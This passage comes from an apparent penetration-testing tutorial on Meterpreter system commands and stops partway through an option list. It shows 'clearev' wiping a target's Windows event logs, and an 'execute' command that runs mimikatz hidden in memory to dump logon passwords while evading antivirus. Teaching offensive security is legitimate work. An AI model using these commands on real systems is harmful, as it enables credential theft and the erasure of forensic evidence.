Understanding the Meterpreter system commands
Meterpreter system commands allow you to access system-specific commands without dropping to a shell session.
How to do it...
clearevclears theApplication,System, andSecuritylogs on the target system:
meterpreter > clearev [*] Wiping 525 records from Application... [*] Wiping 1916 records from System... [*] Wiping 1565 records from Security...
- The
executecommand executes a command on the target. The awesome thing about theexecutecommand is that it allows us to run commands from memory without uploading the binary to the target, this way effectively bypassing several antivirus products.
In the next example, I will show you how to run mimikatz directly in memory. The command I will use is the following:
execute -H -i -c -m -d calc.exe -f /usr/share/mimikatz/x64/mimikatz.exe -a '"sekurlsa::logonPasswords full" exit'From the preceding command:
-Hhides the process-iallows us to interact with the process after we create it-cchannels the I/O...
